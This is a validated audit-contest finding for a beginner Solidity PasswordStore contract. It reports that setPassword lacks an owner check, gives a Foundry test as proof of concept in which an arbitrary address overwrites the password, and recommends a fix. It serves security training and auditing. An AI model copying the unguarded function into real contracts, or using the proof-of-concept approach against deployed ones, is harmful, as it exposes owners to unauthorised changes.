Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can set the new password

Summary

In the comments it says that only owner should be able to set the new password but anyone can set the new password instead of owner and this can lead to misleading because when the owner will call getPassword it will return the wrong password.

POC:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {PasswordStore} from "../src/PasswordStore.sol";
import {DeployPasswordStore} from "../script/DeployPasswordStore.s.sol";
contract PasswordStoreTest is Test {
PasswordStore public passwordStore;
DeployPasswordStore public deployer;
address public owner;
string password = "myNewPassword";
address anyone = makeAddr("anyone");
function setUp() public {
deployer = new DeployPasswordStore();
passwordStore = deployer.run();
owner = msg.sender;
vm.startPrank(owner);
passwordStore.setPassword(password);
string memory _password = passwordStore.getPassword();
assertEq(_password, password);
}
function test_anyone_can_set_password_not_so_secure_lol() public {
vm.startPrank(anyone);
string memory newPassword = "Haha, I can set the password, lol!";
passwordStore.setPassword(newPassword);
vm.startPrank(owner);
string memory _newPassword = passwordStore.getPassword();
assertEq(_newPassword, newPassword);
}
}

Impact

  • Wrong password retrieval/ Loss of original password for owner

Recommendations

Below is the suggested code:

/*
* @notice This function allows only the owner to set a new password.
* @param newPassword The new password to set.
*/
function setPassword(string memory newPassword) external {
+ if (msg.sender != s_owner) {
+ revert PasswordStore__NotOwner();
+ }
s_password = newPassword;
emit SetNetPassword();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.